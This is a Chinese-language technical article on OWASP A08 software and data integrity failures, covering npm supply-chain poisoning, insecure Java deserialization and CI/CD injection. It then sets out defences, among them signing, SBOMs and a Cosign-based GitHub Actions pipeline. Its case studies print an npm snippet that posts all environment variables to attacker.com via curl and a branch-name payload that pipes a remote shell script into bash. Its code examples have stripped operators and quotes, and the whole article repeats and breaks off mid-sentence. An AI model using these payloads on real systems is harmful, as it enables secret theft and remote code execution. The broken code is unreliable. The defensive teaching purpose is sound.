1. 项目概述为什么A08这个“老问题”总能上榜OWASP Top 10榜单对于搞应用安全、开发甚至运维的朋友来说就像一份行业“体检报告”。每隔几年更新一次每次发布都能引发一阵讨论。但不知道你有没有发现有些风险项像“常青树”一样换个名字、换个位置总能稳稳地留在榜单上。A08「软件与数据完整性故障」就是这么一个典型。从2021版首次独立成项到2023版依然稳居第八它不像某些漏洞那样“一招鲜”也不像配置错误那样容易被忽略。它更像一个系统性的“信任危机”渗透在软件生命周期的每一个毛细血管里。今天我们不聊那些泛泛的概念就从一线实战的角度掰开揉碎了看看为什么这个看似“基础”的问题能如此顽固地占据一席之地以及我们到底该怎么对付它。简单来说A08的核心就是**“系统在未经验证的情况下盲目信任了不该信任的东西”**。这个“东西”可以是来自外部的软件更新包、一个第三方库、一段用户上传的数据甚至是自家CI/CD流水线里一个被篡改的构建产物。当这种盲目的信任被攻击者利用他们就能在看似合法的流程中植入后门、窃取数据甚至掌控整个系统。SolarWinds事件就是教科书级别的案例攻击者攻陷了构建环境在官方的软件更新中植入恶意代码然后借着“合法更新”的东风把后门送到了成千上万的关键机构里。这已经不是简单的代码bug而是对整个软件供应链和交付链条信任根基的破坏。所以A08能稳居第八恰恰说明现代软件开发和运维的复杂度已经让“完整性”成为了一个贯穿始终、牵一发而动全身的核心安全命题而不仅仅是开发末期的一个检查项。2. 核心风险解析A08到底在指什么要理解A08为什么重要首先得跳出“这只是一个漏洞”的思维。它描述的是一种故障模式一种因缺乏验证而导致信任被滥用的系统性风险。我们可以把它拆解为三个相互关联的层面来理解。2.1 信任链条的断裂从源头到生产的失控现代软件开发早已不是闭门造车的时代。一个应用可能依赖上百个开源组件通过自动化的流水线构建、测试、部署并频繁地从外部拉取配置或数据。这个过程中存在一条长长的“信任链条”我们信任开源仓库的维护者、信任内部代码仓库的安全、信任CI/CD工具的配置、信任部署镜像的纯净度、信任从上游API获取的数据。A08风险的本质就是这条链条上一个或多个环节的“签名”或“验签”机制缺失或失效了。例如对开源组件的信任我们npm install或pip install时默认信任了公共仓库里的包就是作者发布的原始版本。但如果仓库被劫持如event-stream事件或作者账号被盗恶意包就会被当作合法依赖引入。对构建管道的信任我们假设提交到Git仓库的代码经过CI工具构建后产生的制品如Docker镜像、jar包是可信的。但如果CI服务器的访问凭证泄露或者流水线配置允许从非受控源拉取脚本攻击者就能注入恶意代码到最终制品中。对更新机制的信任无论是操作系统、中间件还是自家应用我们都信任其更新服务器推送的补丁。如果更新包没有强制的数字签名验证攻击者就可以通过中间人攻击或攻陷更新服务器分发捆绑了恶意软件的“官方更新”。注意这里最大的误区是认为“用了内部仓库就安全了”。内部仓库只是缓存如果上游源被污染或者同步机制有缺陷污染会迅速蔓延到内网。完整性验证必须发生在组件进入你信任边界无论是公网下载还是内部仓库同步的那一瞬间。2.2 攻击面的泛化无处不在的“数据”接口A08不仅关乎代码也关乎“数据”。这里的数据是广义的它包括配置文件、序列化对象、用户上传的文件、从外部API接收的响应甚至内存中的状态。任何可以被解析、解释或执行的数据输入点如果缺乏完整性校验都可能成为攻击入口。一个经典场景是不安全的反序列化。很多应用会接收JSON、XML或二进制格式的序列化对象并在服务端直接反序列化成内存中的对象。如果这个过程没有验证数据的完整性和来源攻击者可以精心构造一个序列化数据在反序列化时触发远程代码执行。这曾经是很多Java反序列化漏洞如Apache Commons Collections的根源。另一个场景是动态加载或执行。比如一个应用根据用户输入的参数动态加载某个本地脚本或插件或者一个配置管理工具从某个URL读取并执行一段配置脚本。如果这个输入参数或URL可以被攻击者控制并且加载/执行前没有验证内容哈希或签名就等于打开了一个执行任意代码的大门。2.3 与CI/CD安全的高度融合现代DevSecOps的核心挑战A08在2021/2023版被突出强调与DevOps和云原生普及的大背景直接相关。传统的安全边界在网络层和应用层而CI/CD流水线构成了新的、更纵深的“软件供应链”攻击面。攻击者意识到与其正面攻击一个防守严密的生产应用不如迂回到它的构建和部署环节。管道篡改如果Git仓库的Webhook配置不当或者CI工具如Jenkins、GitLab CI的权限过宽攻击者可以通过提交恶意代码、修改管道脚本.gitlab-ci.yml,Jenkinsfile将恶意构建步骤插入流程。制品仓库污染攻击者获取了制品仓库如Nexus、Harbor的推送权限就可以用恶意镜像覆盖掉合法的版本导致后续的部署全部中招。基础设施即代码IaC的漂移Terraform、Ansible的配置文件如果被篡改可能导致整个云环境被错误配置或植入后门资源。这些攻击往往非常隐蔽因为恶意行为被包裹在合法的自动化流程中绕过了很多基于运行时行为的检测。因此A08的缓解措施天然就是DevSecOps要解决的核心问题如何为流水线的每一个环节代码提交、构建、测试、打包、部署都加上“完整性封印”。3. 典型攻击场景与深度案例分析理解了A08的内涵我们通过几个具体到代码和配置层面的案例来看看攻击是如何发生的。只有看到攻击者的具体操作路径我们才能设计出有效的防御。3.1 案例一被劫持的npm包与供应链投毒这是最典型的软件完整性故障。假设你开发一个Node.js应用在package.json里依赖了一个颇受欢迎的工具库useful-utils。{ dependencies: { useful-utils: ^1.2.0 } }原本一切正常。但该库的原作者因故将维护权转让给了另一个用户。这个新维护者或是账号被盗后的攻击者发布了新版本1.2.1。在这个版本中他在一个不起眼的工具函数里添加了恶意代码// 恶意代码可能被混淆简示如下 function someHelperFunction(data) { // ... 原本的逻辑 ... // 恶意负载在特定条件下将环境变量或文件内容外传 if (process.env.NODE_ENV production Math.random() 0.001) { const secret JSON.stringify(process.env); require(child_process).exec(curl -X POST https://attacker.com/leak -d ${secret}); } }攻击路径攻击者通过社会工程学或漏洞获取了useful-utils包的发布权限。发布带有恶意代码的新版本可能是一个小版本修复降低警惕。下游开发者或自动化构建系统运行npm update由于版本约束^1.2.0自动拉取了1.2.1版本。恶意代码被捆绑进最终的应用打包产物并部署到生产环境。在生产环境中恶意代码在特定触发条件下执行窃取敏感信息。根本原因npm install过程默认只验证包是否存在不验证包内容的完整性虽然npm registry有基础校验但无法防止有发布权限的恶意更新。开发者过度信任了开源仓库的“发布者”身份。3.2 案例二不安全的反序列化导致RCE常见于Java、Python、PHP等应用。假设一个Java应用使用Apache Commons Collections库并接受用户输入的序列化对象进行反序列化。// 危险的反序列化示例 try (ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(userSuppliedData))) { Object obj ois.readObject(); // 高危直接反序列化不可信输入 // ... 处理obj ... }攻击者可以利用已知的利用链如CommonsCollectionsgadget chain构造一个特殊的序列化字节流userSuppliedData。当这个字节流被readObject()方法处理时会触发一连串的调用最终达到执行任意命令如Runtime.getRuntime().exec(calc)的效果。攻击路径应用暴露了一个接收二进制数据的端点可能是RPC接口、文件上传解析等。该端点逻辑中直接对输入流进行反序列化未做任何白名单校验或签名验证。攻击者使用公开的利用工具如ysoserial生成针对特定库的恶意序列化载荷。将载荷发送给该端点触发远程代码执行。根本原因应用程序将“数据解析”与“代码执行”的边界模糊了。反序列化过程本质上是在根据数据重建内存对象如果被重建的对象的类路径中存在可利用的“ gadget”小工具链这个过程就会被武器化。缺乏对输入数据来源和完整性的强制验证。3.3 案例三CI/CD管道中的脚本注入以GitLab CI为例。项目根目录的.gitlab-ci.yml文件定义了构建流程。# 不安全的示例 stages: - build - test build_job: stage: build script: - echo Building... - ./build.sh $CI_COMMIT_REF_NAME # 将分支名作为参数传递给脚本看起来没问题但如果攻击者能够创建一个恶意分支分支名包含命令注入的字符呢例如分支名为master; curl https://attacker.com/shell.sh | bash; #。那么实际执行的命令会变成./build.sh master; curl https://attacker.com/shell.sh | bash; #$CI_COMMIT_REF_NAME这个环境变量如果没有经过适当的转义或验证就直接拼接进命令就导致了脚本注入。攻击者可以借此在CI Runner通常拥有较高的项目权限上执行任意命令窃取源码、证书或修改构建产物。根本原因CI/CD配置中未经净化的用户可控变量这里是Git分支名被传递到了脚本执行环境。管道本身没有对输入代码库中的各种元数据进行完整性或安全性的校验盲目信任了版本控制系统中的内容。4. 防御体系构建从原则到落地方案防御A08类风险不能靠单点工具必须建立一套贯穿软件生命周期、基于“零信任”原则的完整性验证体系。下面从四个关键环节展开。4.1 原则一实施强制性的数字签名与验证这是保证完整性的黄金标准。核心思想是任何重要的资产代码、制品、配置在离开可信的创建环境时都必须打上一个唯一的、不可伪造的“封印”签名在进入任何消费环境如测试、生产时都必须先验证这个“封印”是否完好、是否来自可信的签署者。对代码提交签名使用GPG或S/MIME对Git commit进行签名。确保合并到主分支的每一个提交都来自经过验证的开发者。这能防止攻击者直接向仓库推送恶意代码。GitHub/GitLab等平台支持对签名提交进行标记和强制要求。对构建制品签名容器镜像使用Docker Content Trust (DCT) 或类似机制在推送镜像到仓库前进行签名。部署时Kubernetes可以通过准入控制器如Connaisseur、Portieris或运行时如Notary验证镜像签名拒绝运行未签名或签名无效的镜像。系统包/应用包对于RPM、DEB、JAR、NPM包等使用相应的签名工具如rpmsign,dpkg-sig,jarsigner,npm sign进行签名。在安装或依赖解析时进行验证。对软件更新签名无论是操作系统更新还是自家应用的增量更新分发前必须用强密钥签名。客户端或更新代理必须有严格的验签逻辑拒绝安装任何签名无效或未签名的更新包。实操要点密钥管理是关键签名私钥必须存储在硬件安全模块HSM或云密钥管理服务如AWS KMS, GCP Cloud KMS, Azure Key Vault中构建服务器通过临时凭证访问绝不能硬编码在脚本或配置文件中。建立信任链通常使用根证书签发中间证书再用中间证书签发代码签名证书。这样即使某个中间证书泄露可以快速吊销而不影响整个根信任。4.2 原则二强化软件供应链安全SBOM与SCA你无法保护你不了解的东西。软件物料清单SBOM就是你的软件“成分表”。它清晰地列出了应用的所有直接和间接依赖包括版本、许可证、来源。结合软件成分分析SCA工具这是防御供应链攻击的第一道防线。自动生成SBOM在CI流水线中集成工具如Syft, SPDX, CycloneDX生成器在每次构建时自动生成当前制品的SBOM。这应该成为一个强制性的构建产物。持续扫描与阻断集成SCA工具如Snyk, Mend, DependencyTrack到CI/CD流程中。配置策略当发现关键依赖存在已知高危漏洞CVSS评分高或许可证不合规时自动失败Fail该次构建阻止有问题的制品向下游流动。溯源与应急响应当某个开源组件爆发安全事件如log4j2时SBOM能让你在几分钟内定位到所有受影响的应用和服务而不是手动翻查所有pom.xml或package.json。心得不要把SCA扫描只放在开发阶段。生产环境运行的容器镜像其内部的库版本可能和开发时声明的依赖不同由于多阶段构建、基础镜像自带库等。务必对最终的生产镜像进行SBOM生成和扫描这才是最真实的状态。4.3 原则三硬化CI/CD管道管道是软件从代码到生产的“产线”必须像保护生产环境一样保护它。最小权限原则CI Runner执行构建任务的代理使用仅具有项目所需最小权限的服务账户。例如一个构建Docker镜像的Runner不需要对生产数据库的访问权限。严格管理访问令牌如GitHub Token, Docker Registry Token。使用短时效的OAuth令牌或动态凭据如Vault提供的而非长期有效的静态密钥。管道即代码Pipeline as Code与代码审查将管道定义如.gitlab-ci.yml,Jenkinsfile, GitHub Actions Workflow也纳入版本控制并强制进行代码审查。防止任何人通过Web界面直接修改管道配置注入恶意步骤。隔离构建环境使用一次性的、干净的构建环境如容器、临时VM。避免使用持久化的、共享的构建服务器防止构建间交叉污染。校验上游输入管道中使用的任何外部资源如从外部URL下载的脚本、从其他项目复制的配置模板在运行前都应校验其哈希值SHA256或签名。例如在Dockerfile中ADD或COPY远程文件时最好先下载并校验或者使用有签名验证的基础镜像。4.4 原则四安全的数据处理与反序列化对于应用层的数据完整性核心是“验证一切输入”。反序列化的安全实践首选方案避免反序列化不可信数据。如果必须使用安全的、数据驱动的格式如纯JSON、YAML并通过严格的模式Schema进行验证如使用JSON Schema。如果必须使用对象序列化如Java的ObjectInputStream使用白名单机制通过自定义的ObjectInputFilterJava 9限制允许反序列化的类。升级到已知修复了危险gadget链的库版本。考虑使用更安全的替代序列化库如Google的Protocol Buffers、Kryo配置安全模式或Jackson用于JSON。完整性校验码哈希的应用用户上传文件后计算并存储其哈希值如SHA-256。后续任何使用或分发该文件时都重新计算哈希进行比对。从外部API获取重要配置数据时如果API提供方支持可以要求其同时返回数据的签名客户端用预置的公钥进行验证。在微服务间传递敏感消息时可以对消息体进行签名确保消息在传输过程中未被篡改。配置安全避免将配置尤其是包含密钥、连接串的配置明文存储在代码库或配置文件中。使用加密的配置管理服务如HashiCorp Vault, AWS Secrets Manager并在应用启动时动态拉取和解密。对于必须放在配置文件中的内容确保文件权限严格限制并考虑对配置文件本身进行签名。5. 实战配置与工具链集成示例理论说再多不如看一套具体的、可落地的组合拳。下面以一个基于GitHub Actions和Docker的云原生应用为例展示如何将上述防御原则集成到CI/CD流水线中。5.1 示例流水线设计假设我们有一个简单的Node.js Web应用使用Docker容器化部署。我们的目标是建立一个从代码提交到镜像部署的完整性保护链条。工具栈选择版本控制与CI/CDGitHub GitHub Actions容器镜像仓库GitHub Container Registry (GHCR) 或 AWS ECR镜像签名与验证Cosign (Sigstore项目)SBOM生成Syft漏洞扫描Trivy (集成SBOM生成与镜像扫描)密钥管理GitHub Actions Secrets HashiCorp Vault (或云厂商KMS)5.2 关键步骤与配置详解以下是.github/workflows/ci-cd.yml的关键部分name: Secure Build and Deploy on: push: branches: [ main ] pull_request: branches: [ main ] # 1. 定义环境变量和密钥 env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: build-and-sign: runs-on: ubuntu-latest permissions: contents: read packages: write id-token: write # 关键用于Sigstore的OIDC令牌 steps: - name: Checkout code uses: actions/checkoutv4 with: # 验证提交签名如果要求了签名提交 fetch-depth: 0 - name: Setup Node.js uses: actions/setup-nodev4 with: node-version: 18 - name: Install dependencies run: npm ci # 使用ci而非install确保依赖锁文件一致 - name: Run tests run: npm test # 2. 使用Trivy扫描依赖漏洞并生成SBOM - name: Run Trivy vulnerability scanner uses: aquasecurity/trivy-actionmaster with: scan-type: fs format: sarif output: trivy-results.sarif severity: CRITICAL,HIGH # 仅关注高危及以上 - name: Upload Trivy scan results to GitHub Security uses: github/codeql-action/upload-sarifv3 if: always() with: sarif_file: trivy-results.sarif # 3. 构建Docker镜像 - name: Build Docker image run: | docker build . -t ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} docker tag ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest # 4. 生成并附加SBOM到镜像 - name: Generate SBOM run: | docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \ anchore/syft:latest ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} \ -o spdx-json sbom.spdx.json - name: Attach SBOM to image run: | cosign attach sbom --sbom sbom.spdx.json ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} # 5. 登录镜像仓库并推送镜像 - name: Log in to registry uses: docker/login-actionv3 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Push Docker image run: | docker push ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} docker push ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest # 6. 使用Cosign对镜像进行签名关键步骤 - name: Sign the built Docker image uses: sigstore/cosign-installermain - name: Sign image with Cosign run: | # 使用GitHub Actions的OIDC令牌获取短期签名密钥无需管理长期私钥 cosign sign --yes ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} deploy: needs: build-and-sign runs-on: ubuntu-latest if: github.event_name push github.ref refs/heads/main environment: production # 使用GitHub环境可以配置审批和专属密钥 steps: - name: Verify image signature before deploy uses: sigstore/cosign-installermain - name: Verify Cosign signature run: | # 在部署前验证镜像签名确保是我们刚刚签名的镜像 cosign verify ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ --certificate-identity-regexp ^https://github.com/.*$ # 如果验证失败这一步会报错整个部署任务终止。 # 7. 部署到Kubernetes示例 - name: Deploy to Kubernetes uses: azure/k8s-deployv4 with: namespace: default manifests: | k8s/deployment.yaml k8s/service.yaml images: | ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} kubectl-version: latest流程解读与避坑点OIDC令牌是关键注意permissions中设置了id-token: write。这允许GitHub Actions工作流从GitHub的OIDC身份提供商获取一个短期令牌。Cosign使用这个令牌向Sigstore的fulcio服务申请一个短期的代码签名证书无需你预置和管理任何长期私钥。这是现代密钥管理的最佳实践。扫描与阻断Trivy扫描步骤如果发现CRITICAL或HIGH级别漏洞可以配置为让构建失败示例中仅上传结果实际可根据策略调整。这是供应链安全的重要闸口。SBOM即资产使用Syft生成SPDX格式的SBOM并cosign attach sbom将其附加到镜像本身。这样镜像和它的“成分表”就绑定在一起了任何人都可以用cosign download sbom命令查看。签名在推送后我们是在推送镜像到仓库后才进行签名的。这是因为Cosign签名是作为OCI镜像的一个独立层附件推送到仓库的与镜像本身分离。部署前的强制验证在deploy任务中第一步就是验证镜像的Cosign签名。--certificate-identity-regexp参数限定了签名者必须来自正确的GitHub仓库防止使用其他来源的镜像冒名顶替。这一步是防御A08的最后一道也是最关键的防线确保只有经过完整可信流程构建和签名的镜像才能被部署。6. 常见问题排查与进阶思考即使搭建了上述流程在实际运营中还是会遇到各种问题。这里记录几个典型场景和排查思路。6.1 镜像签名验证失败问题部署时cosign verify失败错误可能是“没有找到签名”、“证书无效”或“身份不匹配”。排查清单检查签名是否确实存在cosign tree $IMAGE查看镜像的所有附件签名、SBOM等。确认签名层已成功推送。检查OIDC颁发者和身份确保verify命令中的--certificate-oidc-issuer和--certificate-identity-regexp与签名时使用的完全匹配。在GitHub Actions中签名者的身份通常是类似https://github.com/你的组织/你的仓库/.github/workflows/ci-cd.ymlrefs/heads/main的格式。使用cosign verify $IMAGE --output json | jq可以查看签名证书的详细信息核对Issuer和Subject。检查时间戳Sigstore的证书是短期的通常10分钟。如果你的验证发生在签名很久之后证书可能已过期。这时需要验证时间戳服务Rekor提供的证据命令需加上--certificate-identity和--certificate-oidc-issuer并确保能访问Rekor服务。网络策略确保部署环境如K8s集群内能够访问Sigstore的公共服务fulcio, rekor或你部署的内部服务。6.2 CI流水线中的依赖扫描误报或漏报问题SCA工具如Trivy报告了大量漏洞但很多似乎不适用误报或者担心有漏掉的漏洞漏报。处理建议理解漏洞上下文很多CVE漏洞存在于某个库的某个函数中但如果你的代码根本没有调用那个函数风险可能被高估。不要盲目升级导致兼容性问题。建立内部的安全评审流程对扫描结果进行人工研判。使用漏洞数据库例外策略大多数SCA工具支持通过.trivyignore或策略文件忽略特定漏洞。但必须记录忽略原因如“非调用路径”、“已部署WAF防护”并定期复审。组合使用多种工具没有一款工具能覆盖100%。可以同时运行多个扫描器如Snyk, Grype并对比结果。在关键项目中可以考虑引入付费工具或更专业的服务。扫描生产镜像务必对最终的生产镜像进行扫描而不是仅扫描package.json。多阶段构建、基础镜像的漏洞都只能通过扫描最终镜像发现。6.3 如何管理庞大的密钥和证书挑战为所有项目、所有环境开发、测试、生产管理代码签名密钥、镜像签名证书、仓库凭证等复杂度极高。进阶方案集中化密钥管理服务KMS将所有密钥如对称加密密钥、代码签名私钥的引用存储在云厂商的KMS或HashiCorp Vault中。应用程序和CI/CD工具通过IAM角色或动态令牌临时申请使用密钥无需持久化存储密钥本身。使用短期证书如Sigstore正如示例中使用Cosign OIDC完全避免了长期私钥的管理问题。签名证书自动生成、短期有效、通过公开透明的日志Rekor验证。这是未来的发展方向。秘密注入Secret Injection在Kubernetes中使用Secrets对象并通过Sidecar如Vault Agent或Init Container动态地将秘密注入到应用容器中而不是将秘密打包进镜像或环境变量文件。6.4 面对不可签名的第三方服务或数据怎么办现实困境你的应用可能需要从某个外部商业API获取数据或者使用一个不提供签名机制的第三方SaaS服务。你无法控制对方是否签名。缓解措施传输层完整性TLS确保所有通信都使用强TLS1.2并正确验证服务器证书防止中间人篡改。应用层校验如果服务方提供可以使用API密钥请求参数签名如HMAC的方式确保请求和响应在传输过程中的完整性。对于响应数据可以要求服务方返回数据的哈希值供你本地校验。输入验证与沙箱对获取的数据进行极其严格的模式验证Schema Validation只接受符合预期结构的数据。对于需要执行的数据如配置文件、模板考虑在沙箱环境如安全的解释器、容器中运行限制其权限。降低信任度将这些数据源视为“低信任”源。处理这些数据的服务模块应该与其他高信任模块隔离拥有最小权限并且其操作应被详细审计和监控。A08之所以稳居Top 10是因为它直指现代软件工程信任模型的软肋。防御它没有银弹而是一套需要融入开发、运维、安全每一个环节的“卫生习惯”。从开发者签名一次提交到运维人员验证一个镜像签名每一个微小的动作都是在加固这条从代码到生产的信任链条。它不像修复一个SQL注入点那样立竿见影但一旦建立起这套体系你将能有效抵御那些最隐蔽、危害也最大的供应链攻击。说到底安全就是一个不断降低信任假设的过程而确保软件与数据的完整性正是这个过程的基石。
1. 项目概述为什么A08这个“老问题”总能上榜OWASP Top 10榜单对于搞应用安全、开发甚至运维的朋友来说就像一份行业“体检报告”。每隔几年更新一次每次发布都能引发一阵讨论。但不知道你有没有发现有些风险项像“常青树”一样换个名字、换个位置总能稳稳地留在榜单上。A08「软件与数据完整性故障」就是这么一个典型。从2021版首次独立成项到2023版依然稳居第八它不像某些漏洞那样“一招鲜”也不像配置错误那样容易被忽略。它更像一个系统性的“信任危机”渗透在软件生命周期的每一个毛细血管里。今天我们不聊那些泛泛的概念就从一线实战的角度掰开揉碎了看看为什么这个看似“基础”的问题能如此顽固地占据一席之地以及我们到底该怎么对付它。简单来说A08的核心就是**“系统在未经验证的情况下盲目信任了不该信任的东西”**。这个“东西”可以是来自外部的软件更新包、一个第三方库、一段用户上传的数据甚至是自家CI/CD流水线里一个被篡改的构建产物。当这种盲目的信任被攻击者利用他们就能在看似合法的流程中植入后门、窃取数据甚至掌控整个系统。SolarWinds事件就是教科书级别的案例攻击者攻陷了构建环境在官方的软件更新中植入恶意代码然后借着“合法更新”的东风把后门送到了成千上万的关键机构里。这已经不是简单的代码bug而是对整个软件供应链和交付链条信任根基的破坏。所以A08能稳居第八恰恰说明现代软件开发和运维的复杂度已经让“完整性”成为了一个贯穿始终、牵一发而动全身的核心安全命题而不仅仅是开发末期的一个检查项。2. 核心风险解析A08到底在指什么要理解A08为什么重要首先得跳出“这只是一个漏洞”的思维。它描述的是一种故障模式一种因缺乏验证而导致信任被滥用的系统性风险。我们可以把它拆解为三个相互关联的层面来理解。2.1 信任链条的断裂从源头到生产的失控现代软件开发早已不是闭门造车的时代。一个应用可能依赖上百个开源组件通过自动化的流水线构建、测试、部署并频繁地从外部拉取配置或数据。这个过程中存在一条长长的“信任链条”我们信任开源仓库的维护者、信任内部代码仓库的安全、信任CI/CD工具的配置、信任部署镜像的纯净度、信任从上游API获取的数据。A08风险的本质就是这条链条上一个或多个环节的“签名”或“验签”机制缺失或失效了。例如对开源组件的信任我们npm install或pip install时默认信任了公共仓库里的包就是作者发布的原始版本。但如果仓库被劫持如event-stream事件或作者账号被盗恶意包就会被当作合法依赖引入。对构建管道的信任我们假设提交到Git仓库的代码经过CI工具构建后产生的制品如Docker镜像、jar包是可信的。但如果CI服务器的访问凭证泄露或者流水线配置允许从非受控源拉取脚本攻击者就能注入恶意代码到最终制品中。对更新机制的信任无论是操作系统、中间件还是自家应用我们都信任其更新服务器推送的补丁。如果更新包没有强制的数字签名验证攻击者就可以通过中间人攻击或攻陷更新服务器分发捆绑了恶意软件的“官方更新”。注意这里最大的误区是认为“用了内部仓库就安全了”。内部仓库只是缓存如果上游源被污染或者同步机制有缺陷污染会迅速蔓延到内网。完整性验证必须发生在组件进入你信任边界无论是公网下载还是内部仓库同步的那一瞬间。2.2 攻击面的泛化无处不在的“数据”接口A08不仅关乎代码也关乎“数据”。这里的数据是广义的它包括配置文件、序列化对象、用户上传的文件、从外部API接收的响应甚至内存中的状态。任何可以被解析、解释或执行的数据输入点如果缺乏完整性校验都可能成为攻击入口。一个经典场景是不安全的反序列化。很多应用会接收JSON、XML或二进制格式的序列化对象并在服务端直接反序列化成内存中的对象。如果这个过程没有验证数据的完整性和来源攻击者可以精心构造一个序列化数据在反序列化时触发远程代码执行。这曾经是很多Java反序列化漏洞如Apache Commons Collections的根源。另一个场景是动态加载或执行。比如一个应用根据用户输入的参数动态加载某个本地脚本或插件或者一个配置管理工具从某个URL读取并执行一段配置脚本。如果这个输入参数或URL可以被攻击者控制并且加载/执行前没有验证内容哈希或签名就等于打开了一个执行任意代码的大门。2.3 与CI/CD安全的高度融合现代DevSecOps的核心挑战A08在2021/2023版被突出强调与DevOps和云原生普及的大背景直接相关。传统的安全边界在网络层和应用层而CI/CD流水线构成了新的、更纵深的“软件供应链”攻击面。攻击者意识到与其正面攻击一个防守严密的生产应用不如迂回到它的构建和部署环节。管道篡改如果Git仓库的Webhook配置不当或者CI工具如Jenkins、GitLab CI的权限过宽攻击者可以通过提交恶意代码、修改管道脚本.gitlab-ci.yml,Jenkinsfile将恶意构建步骤插入流程。制品仓库污染攻击者获取了制品仓库如Nexus、Harbor的推送权限就可以用恶意镜像覆盖掉合法的版本导致后续的部署全部中招。基础设施即代码IaC的漂移Terraform、Ansible的配置文件如果被篡改可能导致整个云环境被错误配置或植入后门资源。这些攻击往往非常隐蔽因为恶意行为被包裹在合法的自动化流程中绕过了很多基于运行时行为的检测。因此A08的缓解措施天然就是DevSecOps要解决的核心问题如何为流水线的每一个环节代码提交、构建、测试、打包、部署都加上“完整性封印”。3. 典型攻击场景与深度案例分析理解了A08的内涵我们通过几个具体到代码和配置层面的案例来看看攻击是如何发生的。只有看到攻击者的具体操作路径我们才能设计出有效的防御。3.1 案例一被劫持的npm包与供应链投毒这是最典型的软件完整性故障。假设你开发一个Node.js应用在package.json里依赖了一个颇受欢迎的工具库useful-utils。{ dependencies: { useful-utils: ^1.2.0 } }原本一切正常。但该库的原作者因故将维护权转让给了另一个用户。这个新维护者或是账号被盗后的攻击者发布了新版本1.2.1。在这个版本中他在一个不起眼的工具函数里添加了恶意代码// 恶意代码可能被混淆简示如下 function someHelperFunction(data) { // ... 原本的逻辑 ... // 恶意负载在特定条件下将环境变量或文件内容外传 if (process.env.NODE_ENV production Math.random() 0.001) { const secret JSON.stringify(process.env); require(child_process).exec(curl -X POST https://attacker.com/leak -d ${secret}); } }攻击路径攻击者通过社会工程学或漏洞获取了useful-utils包的发布权限。发布带有恶意代码的新版本可能是一个小版本修复降低警惕。下游开发者或自动化构建系统运行npm update由于版本约束^1.2.0自动拉取了1.2.1版本。恶意代码被捆绑进最终的应用打包产物并部署到生产环境。在生产环境中恶意代码在特定触发条件下执行窃取敏感信息。根本原因npm install过程默认只验证包是否存在不验证包内容的完整性虽然npm registry有基础校验但无法防止有发布权限的恶意更新。开发者过度信任了开源仓库的“发布者”身份。3.2 案例二不安全的反序列化导致RCE常见于Java、Python、PHP等应用。假设一个Java应用使用Apache Commons Collections库并接受用户输入的序列化对象进行反序列化。// 危险的反序列化示例 try (ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(userSuppliedData))) { Object obj ois.readObject(); // 高危直接反序列化不可信输入 // ... 处理obj ... }攻击者可以利用已知的利用链如CommonsCollectionsgadget chain构造一个特殊的序列化字节流userSuppliedData。当这个字节流被readObject()方法处理时会触发一连串的调用最终达到执行任意命令如Runtime.getRuntime().exec(calc)的效果。攻击路径应用暴露了一个接收二进制数据的端点可能是RPC接口、文件上传解析等。该端点逻辑中直接对输入流进行反序列化未做任何白名单校验或签名验证。攻击者使用公开的利用工具如ysoserial生成针对特定库的恶意序列化载荷。将载荷发送给该端点触发远程代码执行。根本原因应用程序将“数据解析”与“代码执行”的边界模糊了。反序列化过程本质上是在根据数据重建内存对象如果被重建的对象的类路径中存在可利用的“ gadget”小工具链这个过程就会被武器化。缺乏对输入数据来源和完整性的强制验证。3.3 案例三CI/CD管道中的脚本注入以GitLab CI为例。项目根目录的.gitlab-ci.yml文件定义了构建流程。# 不安全的示例 stages: - build - test build_job: stage: build script: - echo Building... - ./build.sh $CI_COMMIT_REF_NAME # 将分支名作为参数传递给脚本看起来没问题但如果攻击者能够创建一个恶意分支分支名包含命令注入的字符呢例如分支名为master; curl https://attacker.com/shell.sh | bash; #。那么实际执行的命令会变成./build.sh master; curl https://attacker.com/shell.sh | bash; #$CI_COMMIT_REF_NAME这个环境变量如果没有经过适当的转义或验证就直接拼接进命令就导致了脚本注入。攻击者可以借此在CI Runner通常拥有较高的项目权限上执行任意命令窃取源码、证书或修改构建产物。根本原因CI/CD配置中未经净化的用户可控变量这里是Git分支名被传递到了脚本执行环境。管道本身没有对输入代码库中的各种元数据进行完整性或安全性的校验盲目信任了版本控制系统中的内容。4. 防御体系构建从原则到落地方案防御A08类风险不能靠单点工具必须建立一套贯穿软件生命周期、基于“零信任”原则的完整性验证体系。下面从四个关键环节展开。4.1 原则一实施强制性的数字签名与验证这是保证完整性的黄金标准。核心思想是任何重要的资产代码、制品、配置在离开可信的创建环境时都必须打上一个唯一的、不可伪造的“封印”签名在进入任何消费环境如测试、生产时都必须先验证这个“封印”是否完好、是否来自可信的签署者。对代码提交签名使用GPG或S/MIME对Git commit进行签名。确保合并到主分支的每一个提交都来自经过验证的开发者。这能防止攻击者直接向仓库推送恶意代码。GitHub/GitLab等平台支持对签名提交进行标记和强制要求。对构建制品签名容器镜像使用Docker Content Trust (DCT) 或类似机制在推送镜像到仓库前进行签名。部署时Kubernetes可以通过准入控制器如Connaisseur、Portieris或运行时如Notary验证镜像签名拒绝运行未签名或签名无效的镜像。系统包/应用包对于RPM、DEB、JAR、NPM包等使用相应的签名工具如rpmsign,dpkg-sig,jarsigner,npm sign进行签名。在安装或依赖解析时进行验证。对软件更新签名无论是操作系统更新还是自家应用的增量更新分发前必须用强密钥签名。客户端或更新代理必须有严格的验签逻辑拒绝安装任何签名无效或未签名的更新包。实操要点密钥管理是关键签名私钥必须存储在硬件安全模块HSM或云密钥管理服务如AWS KMS, GCP Cloud KMS, 